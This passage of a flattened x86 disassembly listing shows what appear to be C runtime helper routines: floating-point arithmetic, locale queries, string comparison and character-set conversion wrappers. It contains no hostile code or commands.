dword_4EFC40[edx*4] mov [edx+eax+4], cl jmp short loc_43404A ; --------------------------------------------------------------------------- loc_433FF9: ; CODE XREF: sub_433F90+2Ej cmp [ebp+arg_4], 4000h jnz short loc_43403A mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] mov al, [edx+ecx+4] or al, 80h mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov ecx, dword_4EFC40[ecx*4] mov [ecx+edx+4], al jmp short loc_43404A ; --------------------------------------------------------------------------- loc_43403A: ; CODE XREF: sub_433F90+70j call sub_4248A0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp short loc_43405B ; --------------------------------------------------------------------------- loc_43404A: ; CODE XREF: sub_433F90+67j ; sub_433F90+A8j mov eax, [ebp+var_4] neg eax sbb eax, eax and eax, 0FFFFC000h add eax, 8000h loc_43405B: ; CODE XREF: sub_433F90+B8j mov esp, ebp pop ebp retn sub_433F90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434060 proc near ; CODE XREF: sub_431E60+2B5p ; sub_4344A0+B5p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h mov word ptr [ebp+var_2C], 0 mov [ebp+var_4], 0 mov [ebp+var_14], 0 mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov cx, [eax+0Ah] mov word ptr [ebp+var_18], cx mov edx, [ebp+arg_4] mov ax, [edx+0Ah] mov word ptr [ebp+var_20], ax mov ecx, [ebp+var_18] and ecx, 0FFFFh mov edx, [ebp+var_20] and edx, 0FFFFh xor ecx, edx and ecx, 8000h mov word ptr [ebp+var_2C], cx mov ax, word ptr [ebp+var_18] and ax, 7FFFh mov word ptr [ebp+var_18], ax mov cx, word ptr [ebp+var_20] and cx, 7FFFh mov word ptr [ebp+var_20], cx mov edx, [ebp+var_18] and edx, 0FFFFh mov eax, [ebp+var_20] and eax, 0FFFFh add edx, eax mov word ptr [ebp+var_30], dx mov ecx, [ebp+var_18] and ecx, 0FFFFh cmp ecx, 7FFFh jge short loc_43411D mov edx, [ebp+var_20] and edx, 0FFFFh cmp edx, 7FFFh jge short loc_43411D mov eax, [ebp+var_30] and eax, 0FFFFh cmp eax, 0BFFDh jle short loc_434154 loc_43411D: ; CODE XREF: sub_434060+9Bj ; sub_434060+ACj mov ecx, [ebp+var_2C] and ecx, 0FFFFh neg ecx sbb ecx, ecx and ecx, 80000000h add ecx, 7FFF8000h mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 jmp loc_434499 ; --------------------------------------------------------------------------- loc_434154: ; CODE XREF: sub_434060+BBj mov edx, [ebp+var_30] and edx, 0FFFFh cmp edx, 3FBFh jg short loc_434187 mov eax, [ebp+arg_0] mov dword ptr [eax+8], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp loc_434499 ; --------------------------------------------------------------------------- loc_434187: ; CODE XREF: sub_434060+103j mov eax, [ebp+var_18] and eax, 0FFFFh test eax, eax jnz short loc_4341CD mov cx, word ptr [ebp+var_30] add cx, 1 mov word ptr [ebp+var_30], cx mov edx, [ebp+arg_0] mov eax, [edx+8] and eax, 7FFFFFFFh test eax, eax jnz short loc_4341CD mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_4341CD mov edx, [ebp+arg_0] cmp dword ptr [edx], 0 jnz short loc_4341CD mov eax, [ebp+arg_0] mov word ptr [eax+0Ah], 0 jmp loc_434499 ; --------------------------------------------------------------------------- loc_4341CD: ; CODE XREF: sub_434060+131j ; sub_434060+14Cj ... mov ecx, [ebp+var_20] and ecx, 0FFFFh test ecx, ecx jnz short loc_434229 mov dx, word ptr [ebp+var_30] add dx, 1 mov word ptr [ebp+var_30], dx mov eax, [ebp+arg_4] mov ecx, [eax+8] and ecx, 7FFFFFFFh test ecx, ecx jnz short loc_434229 mov edx, [ebp+arg_4] cmp dword ptr [edx+4], 0 jnz short loc_434229 mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_434229 mov ecx, [ebp+arg_0] mov dword ptr [ecx+8], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+4], 0 mov eax, [ebp+arg_0] mov dword ptr [eax], 0 jmp loc_434499 ; --------------------------------------------------------------------------- loc_434229: ; CODE XREF: sub_434060+178j ; sub_434060+194j ... mov [ebp+var_28], 0 mov [ebp+var_1C], 0 jmp short loc_434242 ; --------------------------------------------------------------------------- loc_434239: ; CODE XREF: sub_434060+29Cj mov ecx, [ebp+var_1C] add ecx, 1 mov [ebp+var_1C], ecx loc_434242: ; CODE XREF: sub_434060+1D7j cmp [ebp+var_1C], 5 jge loc_434301 mov edx, [ebp+var_1C] shl edx, 1 mov [ebp+var_24], edx mov [ebp+var_8], 8 mov eax, 5 sub eax, [ebp+var_1C] mov [ebp+var_34], eax jmp short loc_434271 ; --------------------------------------------------------------------------- loc_434268: ; CODE XREF: sub_434060+28Ej mov ecx, [ebp+var_34] sub ecx, 1 mov [ebp+var_34], ecx loc_434271: ; CODE XREF: sub_434060+206j cmp [ebp+var_34], 0 jle short loc_4342F3 mov edx, [ebp+arg_0] add edx, [ebp+var_24] mov [ebp+var_38], edx mov eax, [ebp+arg_4] add eax, [ebp+var_8] mov [ebp+var_3C], eax mov ecx, [ebp+var_28] lea edx, [ebp+ecx+var_14] mov [ebp+var_40], edx mov eax, [ebp+var_38] xor ecx, ecx mov cx, [eax] mov edx, [ebp+var_3C] xor eax, eax mov ax, [edx] imul ecx, eax mov [ebp+var_44], ecx mov ecx, [ebp+var_40] push ecx mov edx, [ebp+var_44] push edx mov eax, [ebp+var_40] mov ecx, [eax] push ecx call sub_430FE0 add esp, 0Ch mov [ebp+var_48], eax cmp [ebp+var_48], 0 jz short loc_4342DC mov edx, [ebp+var_28] mov ax, word ptr [ebp+edx+var_10] add ax, 1 mov ecx, [ebp+var_28] mov word ptr [ebp+ecx+var_10], ax loc_4342DC: ; CODE XREF: sub_434060+266j mov edx, [ebp+var_24] add edx, 2 mov [ebp+var_24], edx mov eax, [ebp+var_8] sub eax, 2 mov [ebp+var_8], eax jmp loc_434268 ; --------------------------------------------------------------------------- loc_4342F3: ; CODE XREF: sub_434060+215j mov ecx, [ebp+var_28] add ecx, 2 mov [ebp+var_28], ecx jmp loc_434239 ; --------------------------------------------------------------------------- loc_434301: ; CODE XREF: sub_434060+1E6j mov dx, word ptr [ebp+var_30] sub dx, 3FFEh mov word ptr [ebp+var_30], dx loc_43430E: ; CODE XREF: sub_434060+2DBj movsx eax, word ptr [ebp+var_30] test eax, eax jle short loc_43433D mov ecx, [ebp+var_C] and ecx, 80000000h test ecx, ecx jnz short loc_43433D lea edx, [ebp+var_14] push edx call sub_4310D0 add esp, 4 mov ax, word ptr [ebp+var_30] sub ax, 1 mov word ptr [ebp+var_30], ax jmp short loc_43430E ; --------------------------------------------------------------------------- loc_43433D: ; CODE XREF: sub_434060+2B4j ; sub_434060+2C1j movsx ecx, word ptr [ebp+var_30] test ecx, ecx jg short loc_43439D mov dx, word ptr [ebp+var_30] sub dx, 1 mov word ptr [ebp+var_30], dx loc_434351: ; CODE XREF: sub_434060+32Aj movsx eax, word ptr [ebp+var_30] test eax, eax jge short loc_43438C mov ecx, [ebp+var_14] and ecx, 0FFFFh and ecx, 1 test ecx, ecx jz short loc_434372 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_434372: ; CODE XREF: sub_434060+307j lea eax, [ebp+var_14] push eax call sub_431130 add esp, 4 mov cx, word ptr [ebp+var_30] add cx, 1 mov word ptr [ebp+var_30], cx jmp short loc_434351 ; --------------------------------------------------------------------------- loc_43438C: ; CODE XREF: sub_434060+2F7j cmp [ebp+var_4], 0 jz short loc_43439D mov dx, word ptr [ebp+var_14] or dl, 1 mov word ptr [ebp+var_14], dx loc_43439D: ; CODE XREF: sub_434060+2E3j ; sub_434060+330j mov eax, [ebp+var_14] and eax, 0FFFFh cmp eax, 8000h jg short loc_4343BD mov ecx, [ebp+var_14] and ecx, 1FFFFh cmp ecx, 18000h jnz short loc_43441E loc_4343BD: ; CODE XREF: sub_434060+34Aj cmp [ebp+var_14+2], 0FFFFFFFFh jnz short loc_434415 mov [ebp+var_14+2], 0 cmp [ebp+var_10+2], 0FFFFFFFFh jnz short loc_43440A mov [ebp+var_10+2], 0 mov edx, [ebp+var_C+2] and edx, 0FFFFh cmp edx, 0FFFFh jnz short loc_4343FC mov word ptr [ebp+var_C+2], 8000h mov ax, word ptr [ebp+var_30] add ax, 1 mov word ptr [ebp+var_30], ax jmp short loc_434408 ; --------------------------------------------------------------------------- loc_4343FC: ; CODE XREF: sub_434060+386j mov cx, word ptr [ebp+var_C+2] add cx, 1 mov word ptr [ebp+var_C+2], cx loc_434408: ; CODE XREF: sub_434060+39Aj jmp short loc_434413 ; --------------------------------------------------------------------------- loc_43440A: ; CODE XREF: sub_434060+36Ej mov edx, [ebp+var_10+2] add edx, 1 mov [ebp+var_10+2], edx loc_434413: ; CODE XREF: sub_434060:loc_434408j jmp short loc_43441E ; --------------------------------------------------------------------------- loc_434415: ; CODE XREF: sub_434060+361j mov eax, [ebp+var_14+2] add eax, 1 mov [ebp+var_14+2], eax loc_43441E: ; CODE XREF: sub_434060+35Bj ; sub_434060:loc_434413j mov ecx, [ebp+var_30] and ecx, 0FFFFh cmp ecx, 7FFFh jl short loc_434463 mov edx, [ebp+var_2C] and edx, 0FFFFh neg edx sbb edx, edx and edx, 80000000h add edx, 7FFF8000h mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp short loc_434499 ; --------------------------------------------------------------------------- loc_434463: ; CODE XREF: sub_434060+3CDj mov eax, [ebp+arg_0] mov cx, word ptr [ebp+var_14+2] mov [eax], cx mov edx, [ebp+arg_0] mov eax, [ebp+var_10] mov [edx+2], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+6], edx mov eax, [ebp+var_30] and eax, 0FFFFh mov ecx, [ebp+var_2C] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+0Ah], ax loc_434499: ; CODE XREF: sub_434060+EFj ; sub_434060+122j ... mov esp, ebp pop ebp retn sub_434060 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4344A0 proc near ; CODE XREF: sub_4312E0+914p ; sub_431E60+288p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, offset dword_4526E0 sub eax, 60h mov [ebp+var_4], eax cmp [ebp+arg_4], 0 jnz short loc_4344BC jmp loc_43455F ; --------------------------------------------------------------------------- loc_4344BC: ; CODE XREF: sub_4344A0+15j cmp [ebp+arg_4], 0 jge short loc_4344D5 mov ecx, [ebp+arg_4] neg ecx mov [ebp+arg_4], ecx mov edx, offset dword_452840 sub edx, 60h mov [ebp+var_4], edx loc_4344D5: ; CODE XREF: sub_4344A0+20j cmp [ebp+arg_8], 0 jnz short loc_4344E3 mov eax, [ebp+arg_0] mov word ptr [eax], 0 loc_4344E3: ; CODE XREF: sub_4344A0+39j ; sub_4344A0+6Aj ... cmp [ebp+arg_4], 0 jz short loc_43455F mov ecx, [ebp+var_4] add ecx, 54h mov [ebp+var_4], ecx mov edx, [ebp+arg_4] and edx, 7 mov [ebp+var_18], edx mov eax, [ebp+arg_4] sar eax, 3 mov [ebp+arg_4], eax cmp [ebp+var_18], 0 jnz short loc_43450C jmp short loc_4344E3 ; --------------------------------------------------------------------------- loc_43450C: ; CODE XREF: sub_4344A0+68j mov ecx, [ebp+var_18] imul ecx, 0Ch mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_8], edx mov eax, [ebp+var_8] xor ecx, ecx mov cx, [eax] cmp ecx, 8000h jl short loc_43454D mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_14], eax mov ecx, [edx+4] mov [ebp+var_10], ecx mov edx, [edx+8] mov [ebp+var_C], edx mov eax, [ebp+var_14+2] sub eax, 1 mov [ebp+var_14+2], eax lea ecx, [ebp+var_14] mov [ebp+var_8], ecx loc_43454D: ; CODE XREF: sub_4344A0+88j mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_0] push eax call sub_434060 add esp, 8 jmp short loc_4344E3 ; --------------------------------------------------------------------------- loc_43455F: ; CODE XREF: sub_4344A0+17j ; sub_4344A0+47j mov esp, ebp pop ebp retn sub_4344A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434570 proc near ; CODE XREF: sub_4323B0+9Bp ; sub_4350F0+2Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 0 jnz short loc_43457E xor eax, eax jmp short loc_4345BB ; --------------------------------------------------------------------------- loc_43457E: ; CODE XREF: sub_434570+8j mov eax, dword_4EFD4C push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx push 1 mov edx, dword_4EFF64 push edx call sub_4349C0 add esp, 1Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4345B5 mov eax, 7FFFFFFFh jmp short loc_4345BB ; --------------------------------------------------------------------------- loc_4345B5: ; CODE XREF: sub_434570+3Cj mov eax, [ebp+var_4] sub eax, 2 loc_4345BB: ; CODE XREF: sub_434570+Cj ; sub_434570+43j mov esp, ebp pop ebp retn sub_434570 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4345C0 proc near ; CODE XREF: sub_4323B0+2Dp ; sub_434E10+81p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_4EF8A0 mov [ebp+var_4], eax loc_4345CE: ; CODE XREF: sub_4345C0+A3j mov ecx, [ebp+var_4] cmp dword ptr [ecx], 0 jz loc_434668 push 0 push 0 push 0 push 0 push 0FFFFFFFFh mov edx, [ebp+var_4] mov eax, [edx] push eax push 0 push 1 call dword_4F141C ; WideCharToMultiByte mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_434602 or eax, 0FFFFFFFFh jmp short loc_43466A ; --------------------------------------------------------------------------- loc_434602: ; CODE XREF: sub_4345C0+3Bj push 3Dh push offset dword_438F08 push 2 mov ecx, [ebp+var_C] push ecx call sub_418EF0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_434625 or eax, 0FFFFFFFFh jmp short loc_43466A ; --------------------------------------------------------------------------- loc_434625: ; CODE XREF: sub_4345C0+5Ej push 0 push 0 mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_4] mov edx, [ecx] push edx push 0 push 1 call dword_4F141C ; WideCharToMultiByte test eax, eax jnz short loc_43464C or eax, 0FFFFFFFFh jmp short loc_43466A ; --------------------------------------------------------------------------- loc_43464C: ; CODE XREF: sub_4345C0+85j push 0 mov eax, [ebp+var_8] push eax call sub_434E10 add esp, 8 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp loc_4345CE ; --------------------------------------------------------------------------- loc_434668: ; CODE XREF: sub_4345C0+14j xor eax, eax loc_43466A: ; CODE XREF: sub_4345C0+40j ; sub_4345C0+63j ... mov esp, ebp pop ebp retn sub_4345C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434670 proc near ; CODE XREF: sub_4338F0+19Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_438F18 push offset sub_42A9E4 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4EFC0C, 0 jnz short loc_4346E2 push 0 push 0 push 1 push 0 call dword_4F12CC ; GetLocaleInfoW test eax, eax jz short loc_4346BD mov dword_4EFC0C, 1 jmp short loc_4346E2 ; --------------------------------------------------------------------------- loc_4346BD: ; CODE XREF: sub_434670+3Fj push 0 push 0 push 1 push 0 call dword_4F1380 ; GetLocaleInfoA test eax, eax jz short loc_4346DB mov dword_4EFC0C, 2 jmp short loc_4346E2 ; --------------------------------------------------------------------------- loc_4346DB: ; CODE XREF: sub_434670+5Dj xor eax, eax jmp loc_4347F1 ; --------------------------------------------------------------------------- loc_4346E2: ; CODE XREF: sub_434670+2Dj ; sub_434670+4Bj ... cmp dword_4EFC0C, 1 jnz short loc_434706 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4F12CC ; GetLocaleInfoW jmp loc_4347F1 ; --------------------------------------------------------------------------- loc_434706: ; CODE XREF: sub_434670+79j cmp dword_4EFC0C, 2 jnz loc_4347EF cmp [ebp+arg_10], 0 jnz short loc_434722 mov ecx, dword_4EF984 mov [ebp+arg_10], ecx loc_434722: ; CODE XREF: sub_434670+A7j push 0 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4F1380 ; GetLocaleInfoA mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_434744 xor eax, eax jmp loc_4347F1 ; --------------------------------------------------------------------------- loc_434744: ; CODE XREF: sub_434670+CBj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] add eax, 3 and al, 0FCh call sub_41BC60 mov [ebp+var_28], esp mov [ebp+var_18], esp mov ecx, [ebp+var_28] mov [ebp+var_20], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_434784 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_434784: ; CODE XREF: sub_434670+FBj cmp [ebp+var_20], 0 jnz short loc_43478E xor eax, eax jmp short loc_4347F1 ; --------------------------------------------------------------------------- loc_43478E: ; CODE XREF: sub_434670+118j mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call dword_4F1380 ; GetLocaleInfoA test eax, eax jnz short loc_4347AC xor eax, eax jmp short loc_4347F1 ; --------------------------------------------------------------------------- loc_4347AC: ; CODE XREF: sub_434670+136j cmp [ebp+arg_C], 0 jnz short loc_4347CD push 0 push 0 push 0FFFFFFFFh mov eax, [ebp+var_20] push eax push 1 mov ecx, [ebp+arg_10] push ecx call dword_4F1420 ; MultiByteToWideChar mov [ebp+var_24], eax jmp short loc_4347EA ; --------------------------------------------------------------------------- loc_4347CD: ; CODE XREF: sub_434670+140j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_20] push ecx push 1 mov edx, [ebp+arg_10] push edx call dword_4F1420 ; MultiByteToWideChar mov [ebp+var_24], eax loc_4347EA: ; CODE XREF: sub_434670+15Bj mov eax, [ebp+var_24] jmp short loc_4347F1 ; --------------------------------------------------------------------------- loc_4347EF: ; CODE XREF: sub_434670+9Dj xor eax, eax loc_4347F1: ; CODE XREF: sub_434670+6Dj ; sub_434670+91j ... lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_434670 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434810 proc near ; CODE XREF: sub_4338F0+4Bp ; sub_4338F0+7Ep ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_438F28 push offset sub_42A9E4 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4EFC10, 0 jnz short loc_434882 push 0 push 0 push 1 push 0 call dword_4F12CC ; GetLocaleInfoW test eax, eax jz short loc_43485D mov dword_4EFC10, 1 jmp short loc_434882 ; --------------------------------------------------------------------------- loc_43485D: ; CODE XREF: sub_434810+3Fj push 0 push 0 push 1 push 0 call dword_4F1380 ; GetLocaleInfoA test eax, eax jz short loc_43487B mov dword_4EFC10, 2 jmp short loc_434882 ; --------------------------------------------------------------------------- loc_43487B: ; CODE XREF: sub_434810+5Dj xor eax, eax jmp loc_4349A1 ; --------------------------------------------------------------------------- loc_434882: ; CODE XREF: sub_434810+2Dj ; sub_434810+4Bj ... cmp dword_4EFC10, 2 jnz short loc_4348A6 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4F1380 ; GetLocaleInfoA jmp loc_4349A1 ; --------------------------------------------------------------------------- loc_4348A6: ; CODE XREF: sub_434810+79j cmp dword_4EFC10, 1 jnz loc_43499F cmp [ebp+arg_10], 0 jnz short loc_4348C2 mov ecx, dword_4EF984 mov [ebp+arg_10], ecx loc_4348C2: ; CODE XREF: sub_434810+A7j push 0 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4F12CC ; GetLocaleInfoW mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_4348E4 xor eax, eax jmp loc_4349A1 ; --------------------------------------------------------------------------- loc_4348E4: ; CODE XREF: sub_434810+CBj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_41BC60 mov [ebp+var_28], esp mov [ebp+var_18], esp mov ecx, [ebp+var_28] mov [ebp+var_20], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_434926 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_434926: ; CODE XREF: sub_434810+FDj cmp [ebp+var_20], 0 jnz short loc_434930 xor eax, eax jmp short loc_4349A1 ; --------------------------------------------------------------------------- loc_434930: ; CODE XREF: sub_434810+11Aj mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call dword_4F12CC ; GetLocaleInfoW test eax, eax jnz short loc_43494E xor eax, eax jmp short loc_4349A1 ; --------------------------------------------------------------------------- loc_43494E: ; CODE XREF: sub_434810+138j cmp [ebp+arg_C], 0 jnz short loc_434976 push 0 push 0 push 0 push 0 push 0FFFFFFFFh mov eax, [ebp+var_20] push eax push 220h mov ecx, [ebp+arg_10] push ecx call dword_4F141C ; WideCharToMultiByte mov [ebp+var_24], eax jmp short loc_43499A ; --------------------------------------------------------------------------- loc_434976: ; CODE XREF: sub_434810+142j push 0 push 0 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_20] push ecx push 220h mov edx, [ebp+arg_10] push edx call dword_4F141C ; WideCharToMultiByte mov [ebp+var_24], eax loc_43499A: ; CODE XREF: sub_434810+164j mov eax, [ebp+var_24] jmp short loc_4349A1 ; --------------------------------------------------------------------------- loc_43499F: ; CODE XREF: sub_434810+9Dj xor eax, eax loc_4349A1: ; CODE XREF: sub_434810+6Dj ; sub_434810+91j ... lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_434810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4349C0 proc near ; CODE XREF: sub_434570+2Dp var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_438F80 push offset sub_42A9E4 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFC8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4EFC14, 0 jnz short loc_434A46 push 1 push offset dword_4382B8 push 1 push offset dword_4382B8 push 0 push 0 call dword_4F12C4 ; CompareStringW test eax, eax jz short loc_434A17 mov dword_4EFC14, 1 jmp short loc_434A46 ; --------------------------------------------------------------------------- loc_434A17: ; CODE XREF: sub_4349C0+49j push 1 push offset dword_4382B4 push 1 push offset dword_4382B4 push 0 push 0 call dword_4F12C8 ; CompareStringA test eax, eax jz short loc_434A3F mov dword_4EFC14, 2 jmp short loc_434A46 ; --------------------------------------------------------------------------- loc_434A3F: ; CODE XREF: sub_4349C0+71j xor eax, eax jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434A46: ; CODE XREF: sub_4349C0+2Dj ; sub_4349C0+55j ... cmp [ebp+arg_C], 0 jle short loc_434A5F mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx call sub_434DC0 add esp, 8 mov [ebp+arg_C], eax loc_434A5F: ; CODE XREF: sub_4349C0+8Aj cmp [ebp+arg_14], 0 jle short loc_434A78 mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax call sub_434DC0 add esp, 8 mov [ebp+arg_14], eax loc_434A78: ; CODE XREF: sub_4349C0+A3j cmp dword_4EFC14, 2 jnz short loc_434AA4 mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4F12C8 ; CompareStringA jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434AA4: ; CODE XREF: sub_4349C0+BFj cmp dword_4EFC14, 1 jnz loc_434DA2 cmp [ebp+arg_18], 0 jnz short loc_434AC0 mov ecx, dword_4EF984 mov [ebp+arg_18], ecx loc_434AC0: ; CODE XREF: sub_4349C0+F5j cmp [ebp+arg_C], 0 jz short loc_434AD0 cmp [ebp+arg_14], 0 jnz loc_434C4C loc_434AD0: ; CODE XREF: sub_4349C0+104j mov edx, [ebp+arg_C] cmp edx, [ebp+arg_14] jnz short loc_434AE2 mov eax, 2 jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434AE2: ; CODE XREF: sub_4349C0+116j cmp [ebp+arg_14], 1 jle short loc_434AF2 mov eax, 1 jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434AF2: ; CODE XREF: sub_4349C0+126j cmp [ebp+arg_C], 1 jle short loc_434B02 mov eax, 3 jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434B02: ; CODE XREF: sub_4349C0+136j lea eax, [ebp+var_3C] push eax mov ecx, [ebp+arg_18] push ecx call dword_4F14B0 ; GetCPInfo test eax, eax jnz short loc_434B1B xor eax, eax jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434B1B: ; CODE XREF: sub_4349C0+152j ; sub_4349C0+198j cmp [ebp+arg_C], 0 jnz short loc_434B27 cmp [ebp+arg_14], 1 jz short loc_434B54 loc_434B27: ; CODE XREF: sub_4349C0+15Fj cmp [ebp+arg_C], 1 jnz short loc_434B33 cmp [ebp+arg_14], 0 jz short loc_434B54 loc_434B33: ; CODE XREF: sub_4349C0+16Bj push offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"... push 0 push 0B6h push offset dword_438F34 push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_434B54 int 3 ; Trap to Debugger loc_434B54: ; CODE XREF: sub_4349C0+165j ; 